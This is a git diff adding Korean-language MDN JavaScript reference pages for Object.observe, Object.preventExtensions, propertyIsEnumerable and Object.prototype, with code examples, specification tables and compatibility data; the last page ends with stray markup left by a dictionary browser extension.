+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Object.isSealed")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Object.seal()")}}</li>
+ <li>{{jsxref("Object.preventExtensions()")}}</li>
+ <li>{{jsxref("Object.isExtensible()")}}</li>
+ <li>{{jsxref("Object.freeze()")}}</li>
+ <li>{{jsxref("Object.isFrozen()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/object/observe/index.html b/files/ko/web/javascript/reference/global_objects/object/observe/index.html
new file mode 100644
index 0000000000..bf3b004d8c
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/object/observe/index.html
@@ -0,0 +1,193 @@
+---
+title: Object.observe()
+slug: Web/JavaScript/Reference/Global_Objects/Object/observe
+tags:
+ - 감시 객체
+translation_of: Archive/Web/JavaScript/Object.observe
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Object.observe()</code></strong> 메소드는 객체의 변화를 비동기로 감시하는데에 사용된다. 이 메소드는 변화들이 발생한 순서대로 그 흐름을 제공한다.</p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox"><code>Object.observe(<var>obj</var>, <var>callback</var>[, <var>acceptList</var>])</code></pre>
+
+<h3 id="파라미터">파라미터</h3>
+
+<dl>
+ <dt><code>obj</code></dt>
+ <dd>감시될 객체입니다.</dd>
+ <dt><code>callback</code></dt>
+ <dd><code>obj</code>의 변경이 일어났을 때마다 호출될 함수입니다. 다음과 같은 인자를 갖습니다.
+ <dl>
+ <dt><code>changes</code></dt>
+ <dd>변경 사항을 나타내는 객체의 배열입니다. 그 객체의 프로퍼티는 다음과 같습니다.
+ <ul>
+ <li><strong><code>name</code></strong>: 변경된 프로퍼티의 이름입니다.</li>
+ <li><strong><code>object</code></strong>: 변경이 일어난 뒤의 객체입니다.</li>
+ <li><strong><code>type</code></strong>: 변경의 종류를 의미하는 string입니다. <code>"add"</code>, <code>"update"</code>, <code>"delete"</code> 중 하나입니다.</li>
+ <li><strong><code>oldValue</code></strong>: 변경되기 이전의 값입니다. <code>"update"와</code> <code>"delete"</code> 타입에만 존재합니다.</li>
+ </ul>
+ </dd>
+ </dl>
+ </dd>
+ <dt><code>acceptList</code></dt>
+ <dd>감시할 변경의 종류를 의미하는 리스트입니다.  주어지지 않은 경우, 배열 <code>["add", "update", "delete", "reconfigure", "setPrototype", "preventExtensions"]</code> 이 이용될 것입니다.</dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<p><code>callback</code>은 <code>obj</code>에 변경이 있을 때마다 실행되며, 모든 변경 사항이 일어난 순서대로 담긴 배열이 전달됩니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="Logging_all_six_different_types">Logging all six different types</h3>
+
+<pre class="brush: js">var obj = {
+ foo: 0,
+ bar: 1
+};
+
+Object.observe(obj, function(changes) {
+ console.log(changes);
+});
+
+obj.baz = 2;
+// [{name: 'baz', object: &lt;obj&gt;, type: 'add'}]
+
+obj.foo = 'hello';
+// [{name: 'foo', object: &lt;obj&gt;, type: 'update', oldValue: 0}]
+
+delete obj.baz;
+// [{name: 'baz', object: &lt;obj&gt;, type: 'delete', oldValue: 2}]
+
+Object.defineProperty(obj, 'foo', {writable: false});
+// [{name: 'foo', object: &lt;obj&gt;, type: 'reconfigure'}]
+
+Object.setPrototypeOf(obj, {});
+// [{name: '__proto__', object: &lt;obj&gt;, type: 'setPrototype', oldValue: &lt;prototype&gt;}]
+
+Object.seal(obj);
+// [
+// {name: 'foo', object: &lt;obj&gt;, type: 'reconfigure'},
+// {name: 'bar', object: &lt;obj&gt;, type: 'reconfigure'},
+// {object: &lt;obj&gt;, type: 'preventExtensions'}
+// ]
+</pre>
+
+<h3 id="데이터_바인딩">데이터 바인딩</h3>
+
+<pre class="brush: js">// A user model
+var user = {
+ id: 0,
+ name: 'Brendan Eich',
+ title: 'Mr.'
+};
+
+// Create a greeting for the user
+function updateGreeting() {
+ user.greeting = 'Hello, ' + user.title + ' ' + user.name + '!';
+}
+updateGreeting();
+
+Object.observe(user, function(changes) {
+ changes.forEach(function(change) {
+ // Any time name or title change, update the greeting
+ if (change.name === 'name' || change.name === 'title') {
+ updateGreeting();
+ }
+ });
+});
+</pre>
+
+<h3 id="Custom_change_type">Custom change type</h3>
+
+<pre class="brush: js">// A point on a 2D plane
+var point = {x: 0, y: 0, distance: 0};
+
+function setPosition(pt, x, y) {
+ // Performing a custom change
+ Object.getNotifier(pt).performChange('reposition', function() {
+ var oldDistance = pt.distance;
+ pt.x = x;
+ pt.y = y;
+ pt.distance = Math.sqrt(x * x + y * y);
+ return {oldDistance: oldDistance};
+ });
+}
+
+Object.observe(point, function(changes) {
+ console.log('Distance change: ' + (point.distance - changes[0].oldDistance));
+}, ['reposition']);
+
+setPosition(point, 3, 4);
+// Distance change: 5
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<p><a href="https://github.com/arv/ecmascript-object-observe">Strawman proposal for ECMAScript 7</a>.</p>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatChrome("36")}}</td>
+ <td>{{CompatNo}} [1]</td>
+ <td>{{CompatNo}} [2]</td>
+ <td>{{CompatOpera("23")}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatChrome("36")}}</td>
+ <td>{{CompatNo}} [1]</td>
+ <td>{{CompatNo}} [2]</td>
+ <td>{{CompatOpera("23")}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1]: See {{bug(800355)}}</p>
+
+<p>[2]: See relevant <a href="https://dev.modern.ie/platform/status/objectobserve/">MS Edge platform status entry</a></p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Object.unobserve()")}} {{experimental_inline}}</li>
+ <li>{{jsxref("Array.observe()")}} {{experimental_inline}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/object/preventextensions/index.html b/files/ko/web/javascript/reference/global_objects/object/preventextensions/index.html
new file mode 100644
index 0000000000..b23c6f33e6
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/object/preventextensions/index.html
@@ -0,0 +1,126 @@
+---
+title: Object.preventExtensions()
+slug: Web/JavaScript/Reference/Global_Objects/Object/preventExtensions
+tags:
+ - ECMAScript 5
+ - JavaScript
+ - Method
+ - Object
+ - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/preventExtensions
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>Object.preventExtensions()</strong></code> 메서드는 새로운 속성이 이제까지 객체에 추가되는 것을 방지합니다 (즉 객체의 장래 확장을 막습니다).</p>
+
+<div>{{EmbedInteractiveExample("pages/js/object-preventextensions.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">Object.preventExtensions(<var>obj</var>)</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>obj</code></dt>
+ <dd>확장 불가로 해야 할 객체.</dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<p>객체는 새로운 속성이 추가될 수 있는 경우 확장 가능입니다. <code>Object.preventExtensions()</code>는 객체를 이제 확장 불가로 표시하므로 표시된 그 시점에 있던 것 이외의 속성을 갖지 않습니다. 보통 확장 불가인 객체의 속성은 여전히 <em>삭제될</em> 수 있음을 주의하세요. 확장 불가인 객체에 새로운 속성을 추가하려는 시도는 실패합니다, 조용히든 {{jsxref("TypeError")}}가 발생해서든 (가장 흔하나 오로지 {{jsxref("Functions_and_function_scope/Strict_mode", "엄격 모드", "", 1)}}인 경우에서만은 아님).</p>
+
+<p><code>Object.preventExtensions()</code>는 자신의 속성 추가만을 방지합니다. 속성은 여전히 객체의 프로토타입에 추가될 수 있습니다. 그러나, 객체에 <code>Object.preventExtensions()</code>를 호출하면 그 {{jsxref("Object.proto", "__proto__")}} {{deprecated_inline}} 속성의 확장 또한 막습니다.</p>
+
+<p>ECMAScript 5에서 확장 가능 객체를 확장 불가로 바꾸는 법이 있더라도, 반대로 하는 법은 없습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js">// Object.preventExtensions는 확장 불가된 객체를 반환합니다.
+var obj = {};
+var obj2 = Object.preventExtensions(obj);
+obj === obj2; // true
+
+// 객체는 기본으로 확장 가능입니다.
+var empty = {};
+Object.isExtensible(empty); // === true
+
+// ...하지만 바뀔 수 있습니다.
+Object.preventExtensions(empty);
+Object.isExtensible(empty); // === false
+
+// Object.defineProperty는 확장 불가 객체에 새 속성을 추가할 때 오류가 발생합니다.
+var nonExtensible = { removable: true };
+Object.preventExtensions(nonExtensible);
+Object.defineProperty(nonExtensible, 'new', { value: 8675309 }); // TypeError 발생
+
+// 엄격 모드에서, 확장 불가 객체에 새 속성을 추가하려는 시도는 TypeError가 발생합니다.
+function fail() {
+ 'use strict';
+ nonExtensible.newProperty = 'FAIL'; // TypeError 발생
+}
+fail();
+
+// 확장 (__proto__(는 사라집니다. 대신 Object.getPrototypeOf를 쓰세요)를
+// 지원하는 엔진에서만 동작합니다):
+// 확장 불가 객체의 프로토타입은 불변합니다.
+var fixed = Object.preventExtensions({});
+fixed.__proto__ = { oh: 'hai' }; // TypeError 발생
+</pre>
+
+<h2 id="참고">참고</h2>
+
+<p>ES5에서, 이 메서드의 인수가 비객체(원시형)인 경우, 그러면 {{jsxref("TypeError")}}가 발생합니다. ES6에서, 비객체 인수는 마치 확장 불가인 보통 객체였던 것처럼 취급됩니다, 그저 자신을 반환하는.</p>
+
+<pre class="brush: js">Object.preventExtensions(1);
+// TypeError: 1은 객체가 아닙니다 (ES5 코드)
+
+Object.preventExtensions(1);
+// 1 (ES6 코드)
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">설명</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.2.3.10', 'Object.preventExtensions')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td>초기 정의. JavaScript 1.8.5에서 구현됨.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-object.preventextensions', 'Object.preventExtensions')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-object.preventextensions', 'Object.preventExtensions')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Object.preventExtensions")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Object.isExtensible()")}}</li>
+ <li>{{jsxref("Object.seal()")}}</li>
+ <li>{{jsxref("Object.isSealed()")}}</li>
+ <li>{{jsxref("Object.freeze()")}}</li>
+ <li>{{jsxref("Object.isFrozen()")}}</li>
+ <li>{{jsxref("Reflect.preventExtensions()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/object/propertyisenumerable/index.html b/files/ko/web/javascript/reference/global_objects/object/propertyisenumerable/index.html
new file mode 100644
index 0000000000..fde6780ffd
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/object/propertyisenumerable/index.html
@@ -0,0 +1,146 @@
+---
+title: Object.prototype.propertyIsEnumerable()
+slug: Web/JavaScript/Reference/Global_Objects/Object/propertyIsEnumerable
+tags:
+ - JavaScript
+ - Method
+ - Object
+ - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/propertyIsEnumerable
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>propertyIsEnumerable()</strong></code> 메서드는 특정 속성이 열거가능한지 여부를 나타내는 불리언 값을 반환합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/object-prototype-propertyisenumerable.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><code><var>obj</var>.propertyIsEnumerable(<var>prop</var>)</code></pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>prop</code></dt>
+ <dd>테스트 할 속성의 이름.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>특정 속성이 열거가능한지 여부를 나타내는 {{jsxref("Boolean")}}.</p>
+
+<h2 id="설명">설명</h2>
+
+<p>모든 객체는 <code>propertyIsEnumerable</code> 메소드를 가지고 있습니다. 이 메소드는 프로토타입 체인을 통해 상속된 특성을 제외하고 개체에 지정된 속성을 {{jsxref("Statements/for...in", "for...in")}} 루프로 열거할 수 있는지 여부를 확인할 수 있습니다. 개체에 지정된 속성이 없으면 이 메소드는 <code>false</code>를 반환합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="A_basic_use_of_propertyIsEnumerable">A basic use of <code>propertyIsEnumerable</code></h3>
+
+<p>The following example shows the use of <code>propertyIsEnumerable</code> on objects and arrays:</p>
+
+<pre class="brush: js">var o = {};
+var a = [];
+o.prop = 'is enumerable';
+a[0] = 'is enumerable';
+
+o.propertyIsEnumerable('prop'); // returns true
+a.propertyIsEnumerable(0); // returns true
+</pre>
+
+<h3 id="User-defined_versus_built-in_objects">User-defined versus built-in objects</h3>
+
+<p>The following example demonstrates the enumerability of user-defined versus built-in properties:</p>
+
+<pre class="brush: js">var a = ['is enumerable'];
+
+a.propertyIsEnumerable(0); // returns true
+a.propertyIsEnumerable('length'); // returns false
+
+Math.propertyIsEnumerable('random'); // returns false
+this.propertyIsEnumerable('Math'); // returns false
+</pre>
+
+<h3 id="Direct_versus_inherited_properties">Direct versus inherited properties</h3>
+
+<pre class="brush: js">var a = [];
+a.propertyIsEnumerable('constructor'); // returns false
+
+function firstConstructor() {
+ this.property = 'is not enumerable';
+}
+
+firstConstructor.prototype.firstMethod = function() {};
+
+function secondConstructor() {
+ this.method = function method() { return 'is enumerable'; };
+}
+
+secondConstructor.prototype = new firstConstructor;
+secondConstructor.prototype.constructor = secondConstructor;
+
+var o = new secondConstructor();
+o.arbitraryProperty = 'is enumerable';
+
+o.propertyIsEnumerable('arbitraryProperty'); // returns true
+o.propertyIsEnumerable('method'); // returns true
+o.propertyIsEnumerable('property'); // returns false
+
+o.property = 'is enumerable';
+
+o.propertyIsEnumerable('property'); // returns true
+
+// These return false as they are on the prototype which
+// propertyIsEnumerable does not consider (even though the last two
+// are iteratable with for-in)
+o.propertyIsEnumerable('prototype'); // returns false (as of JS 1.8.1/FF3.6)
+o.propertyIsEnumerable('constructor'); // returns false
+o.propertyIsEnumerable('firstMethod'); // returns false
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES3')}}</td>
+ <td>{{Spec2('ES3')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.2.4.7', 'Object.prototype.propertyIsEnumerable')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-object.prototype.propertyisenumerable', 'Object.prototype.propertyIsEnumerable')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-object.prototype.propertyisenumerable', 'Object.prototype.propertyIsEnumerable')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("javascript.builtins.Object.propertyIsEnumerable")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Enumerability_and_ownership_of_properties">Enumerability and ownership of properties</a></li>
+ <li>{{jsxref("Statements/for...in", "for...in")}}</li>
+ <li>{{jsxref("Object.keys()")}}</li>
+ <li>{{jsxref("Object.defineProperty()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/object/prototype/index.html b/files/ko/web/javascript/reference/global_objects/object/prototype/index.html
new file mode 100644
index 0000000000..4fdc17bc49
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/object/prototype/index.html
@@ -0,0 +1,218 @@
+---
+title: Object.prototype
+slug: Web/JavaScript/Reference/Global_Objects/Object/prototype
+tags:
+ - JavaScript
+ - Object
+ - Property
+ - Reference
+ - 프로토타입
+translation_of: Web/JavaScript/Reference/Global_Objects/Object
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>Object.prototype</strong></code> 속성은 {{jsxref("Object")}} 프로토타입(원형) 객체를<br>
+ 나타냅니다.</p>
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="설명">설명</h2>
+
+<p>JavaScript에서 거의 모든 객체는 {{jsxref("Object")}}의 인스턴스입니다. 일반적인 객체는 <code>Object.prototype</code> 에서 속성과 메서드를 상속받으며, 그 중 일부는 (오버라이드 등으로 인해) 숨겨질 수 있습니다. 그러나, 의도적으로 <code>Object</code>를 생성할 때 ({{jsxref("Object.create", "Object.create(null)")}} 처럼) 이를 피할 수도 있고, {{jsxref("Object.setPrototypeOf")}} 등을 통해 나중에 무효화할 수도 있습니다.</p>
+
+<p><code>Object</code> 프로토타입에 가하는 변경은 프로토타입 체인을 통해, 더 아래쪽 체인에서 덮어 쓴 경우가 아니라면 <strong>모든</strong> 객체에서 관측할 수 있습니다. 이는 객체를 확장하거나 행동을 바꿀 수 있는 매우 강력하면서도 위험한 방법을 제공합니다.</p>
+
+
+
+<h2 id="속성">속성</h2>
+
+<dl>
+ <dt>{{jsxref("Object.prototype.constructor")}}</dt>
+ <dd>객체의 프로토타입을 생성하는 함수를 지정합니다.</dd>
+ <dt>{{jsxref("Object.prototype.__proto__")}} {{non-standard_inline}}</dt>
+ <dd>객체가 초기화될 때 프로토타입으로 사용된 객체를 가리킵니다.</dd>
+ <dt><s class="obsoleteElement">{{jsxref("Object.prototype.__noSuchMethod__")}} {{obsolete_inline}}</s></dt>
+ <dd><s class="obsoleteElement">정의되지 않은 객체 멤버가 메소드로서 호출될 때 실행되는 함수를 정의하는 데 쓰였지만 제거되었습니다.</s></dd>
+ <dt><s class="obsoleteElement">{{jsxref("Object.prototype.count","Object.prototype.__count__")}} {{obsolete_inline}}</s></dt>
+ <dd><s class="obsoleteElement">사용자 정의 객체 상에 직접 있는 열거가능 속성의 수를 반환하는 데 쓰였지만 제거되었습니다.</s></dd>
+ <dt><s class="obsoleteElement">{{jsxref("Object.prototype.parent","Object.prototype.__parent__")}} {{obsolete_inline}}</s></dt>
+ <dd><s class="obsoleteElement">객체 문맥을 가리키는 데 쓰였지만 제거되었습니다.</s></dd>
+</dl>
+
+<h2 id="메서드">메서드</h2>
+
+<dl>
+ <dt>{{jsxref("Object.prototype.__defineGetter__()")}} {{non-standard_inline}} {{deprecated_inline}}</dt>
+ <dd>함수를 속성에 연결합니다, 접근했을 때 그 함수를 실행해 그 결과값을 반환하는.</dd>
+ <dt>{{jsxref("Object.prototype.__defineSetter__()")}} {{non-standard_inline}} {{deprecated_inline}}</dt>
+ <dd>함수를 속성에 연결합니다, 설정했을 때 그 속성을 수정하는 함수를 실행하는.</dd>
+ <dt>{{jsxref("Object.prototype.__lookupGetter__()")}} {{non-standard_inline}} {{deprecated_inline}}</dt>
+ <dd>{{jsxref("Object.prototype.__defineGetter__()", "__defineGetter__()")}} 메소드에 의해 지정된 속성과 관련된 함수를 반환합니다.</dd>
+ <dt>{{jsxref("Object.prototype.__lookupSetter__()")}} {{non-standard_inline}} {{deprecated_inline}}</dt>
+ <dd>{{jsxref("Object.prototype.__defineSetter__()", "__defineSetter__()")}} 메소드에 의해 지정된 속성과 관련된 함수를 반환합니다.</dd>
+ <dt>{{jsxref("Object.prototype.hasOwnProperty()")}}</dt>
+ <dd>객체가 지정된 속성을 프로토타입 체인을 통해 상속되지 않은 그 객체의 직접 속성으로 포함하는지를 나타내는 boolean을 반환합니다.</dd>
+ <dt>{{jsxref("Object.prototype.isPrototypeOf()")}}</dt>
+ <dd>지정된 객체가 이 메소드가 호출된 객체의 프로토타입 체인 내에 있는지를 나타내는 boolean을 반환합니다.</dd>
+ <dt>{{jsxref("Object.prototype.propertyIsEnumerable()")}}</dt>
+ <dd>내부 <a href="/ko/docs/Web/JavaScript/Data_structures#Properties">ECMAScript [[Enumerable]] attribute</a>가 설정된 경우를 나타내는 boolean을 반환합니다.</dd>
+ <dt>{{jsxref("Object.prototype.toSource()")}} {{non-standard_inline}}</dt>
+ <dd>이 메소드가 호출된 객체를 나타내는 객체 리터럴의 출처를 포함하는 문자열을 반환합니다; 새로운 객체를 만들기 위해 이 값을 쓸 수 있습니다.</dd>
+ <dt>{{jsxref("Object.prototype.toLocaleString()")}}</dt>
+ <dd>{{jsxref("Object.toString", "toString()")}}을 호출합니다.</dd>
+ <dt>{{jsxref("Object.prototype.toString()")}}</dt>
+ <dd>객체의 문자열 표현을 반환합니다.</dd>
+ <dt>{{jsxref("Object.prototype.unwatch()")}} {{non-standard_inline}}</dt>
+ <dd>객체 속성에서 감시점을 제거합니다.</dd>
+ <dt>{{jsxref("Object.prototype.valueOf()")}}</dt>
+ <dd>지정된 객체의 원시값을 반환합니다.</dd>
+ <dt>{{jsxref("Object.prototype.watch()")}} {{non-standard_inline}}</dt>
+ <dd>객체 속성에 감시점을 추가합니다.</dd>
+ <dt><s class="obsoleteElement">{{jsxref("Object.prototype.eval()")}} {{obsolete_inline}}</s></dt>
+ <dd><s class="obsoleteElement">지정된 객체의 문맥에서 JavaScript 코드 문자열을 평가하는 데 쓰였지만 제거되었습니다.</s></dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<p><code>Object.prototype</code>의 기본 메서드를 변경할 때, 기존 조직의 앞 또는 후에 확장(extension) 을 포장하여 코드를 주입시키는 것을 고려하자. 예를 들어서, 이 (시험받지<br>
+ 않은) 코드는 내장된 로직 또는 어떤 다른 확장이 실행되기 전에 커스텀 로직을 전제조건적으로 실행시킬 것이다.</p>
+
+<p>함수가 호출되었을 때, 불러온 매개변수들은 배열과 같은 형태로 '변수' <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/arguments">arguments</a>에 보관된다. 예를 들어 myFn(a, b, c) 라는 함수를 부를 때, 이 함수 내부에 배열형태로 매개변수 (a, b, c) 를 담게 된다. prototype을 훅을 이용해 수정할 때, 함수에서 apply()를 호출하여 단순하게 this와 arguments(호출 상태)에 현재 동작을 전달하면 된다. 이 패턴은 Node.prototype, Function.prototype등 prototype에도 사용할 수 있다.</p>
+
+<pre class="brush: js line-numbers language-js notranslate"><code class="language-js"><span class="keyword token">var</span> current <span class="operator token">=</span> Object<span class="punctuation token">.</span>prototype<span class="punctuation token">.</span>valueOf<span class="punctuation token">;</span>
+
+<span class="comment token">// 현재 설정한 "-prop-value" 속성은 cross-cutting 이고 </span>
+<span class="comment token">// 항상 같은 prototype chain이 아니기 때문에, 이 Object.prototype을 바꾸고 싶다.</span>
+Object<span class="punctuation token">.</span>prototype<span class="punctuation token">.</span>valueOf <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+ <span class="keyword token">if</span> <span class="punctuation token">(</span><span class="keyword token">this</span><span class="punctuation token">.</span><span class="function token">hasOwnProperty</span><span class="punctuation token">(</span><span class="string token">'-prop-value'</span><span class="punctuation token">)</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+ <span class="keyword token">return</span> <span class="keyword token">this</span><span class="punctuation token">[</span><span class="string token">'-prop-value'</span><span class="punctuation token">]</span><span class="punctuation token">;</span>
+ <span class="punctuation token">}</span> <span class="keyword token">else</span> <span class="punctuation token">{</span>
+ <span class="comment token">// 이 객체 내 속성(property)이 하나가 아니라면, 현재 동작을 재구성한 것으로부터
+ // 기본 동작으로 되돌리자(복구). </span>
+ <span class="comment token">// apply 동작은 다른 언어에서의 "super"와 유사하다.</span>
+ <span class="comment token">// 비록 valueOf()가 매개변수를 받지못하더라도, 다른 훅에서 있을 것이다.</span>
+ <span class="keyword token">return</span> current<span class="punctuation token">.</span><span class="function token">apply</span><span class="punctuation token">(</span><span class="keyword token">this</span><span class="punctuation token">,</span> arguments<span class="punctuation token">)</span><span class="punctuation token">;</span>
+ <span class="punctuation token">}</span>
+<span class="punctuation token">}</span></code>
+</pre>
+
+<p>JavaScript는 엄밀히 말해서 하위클래스(sub-class) 객체가 없기에, prototype은 객체 역할을 하는 특정 함수의 "기반 클래스" 객체를 만드는 유용한 차선책입니다. 예를 들어:</p>
+
+<pre class="brush: js notranslate">var Person = function() {
+ this.canTalk = true;
+};
+
+Person.prototype.greet = function() {
+ if (this.canTalk) {
+ console.log('Hi, I am ' + this.name);
+ }
+};
+
+var Employee = function(name, title) {
+ Person.call(this);
+ this.name = name;
+ this.title = title;
+};
+
+Employee.prototype = Object.create(Person.prototype);
+Employee.prototype.constructor = Employee;
+
+Employee.prototype.greet = function() {
+ if (this.canTalk) {
+ console.log('Hi, I am ' + this.name + ', the ' + this.title);
+ }
+};
+
+var Customer = function(name) {
+ Person.call(this);
+ this.name = name;
+};
+
+Customer.prototype = Object.create(Person.prototype);
+Customer.prototype.constructor = Customer;
+
+var Mime = function(name) {
+ Person.call(this);
+ this.name = name;
+ this.canTalk = false;
+};
+
+Mime.prototype = Object.create(Person.prototype);
+Mime.prototype.constructor = Mime;
+
+var bob = new Employee('Bob', 'Builder');
+var joe = new Customer('Joe');
+var rg = new Employee('Red Green', 'Handyman');
+var mike = new Customer('Mike');
+var mime = new Mime('Mime');
+
+bob.greet();
+// Hi, I am Bob, the Builder
+
+joe.greet();
+// Hi, I am Joe
+
+rg.greet();
+// Hi, I am Red Green, the Handyman
+
+mike.greet();
+// Hi, I am Mike
+
+mime.greet();
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">스펙</th>
+ <th scope="col">상태</th>
+ <th scope="col">설명</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>초기 정의. JavaScript 1.0에서 구현됨.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.2.3.1', 'Object.prototype')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-object.prototype', 'Object.prototype')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-object.prototype', 'Object.prototype')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("javascript.builtins.Object.prototype")}}</p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/JavaScript/Introduction_to_Object-Oriented_JavaScript">객체지향 JavaScript 소개</a></li>
+</ul>
+
+<div id="dicLayer" style="">
+<div id="dicLayerContents">&lt;dicword style="user-select: text;"&gt;Even though valueOf() doesn't take arguments, some other hook may.&lt;/dicword&gt;&lt;dicword style="user-select: text;"&gt;&lt;dicimg id="play" style="background-image: url(chrome-extension://bmbdcffdhebhecemcchbkfnjlmdiiepe/play.gif);"&gt;&lt;/dicimg&gt; <input>Eng&lt;dicimg id="copy" style="background-image: url(chrome-extension://bmbdcffdhebhecemcchbkfnjlmdiiepe/copy.png);" title="copy"&gt;&lt;/dicimg&gt;&lt;/dicword&gt;<br>
+<br>
+<br>
+<br>
+valueOf ()가 인수를받지 않더라도 다른 후크가있을 수 있습니다.</div>
+
+<div id="dicLayerSub"></div>
+</div>
+
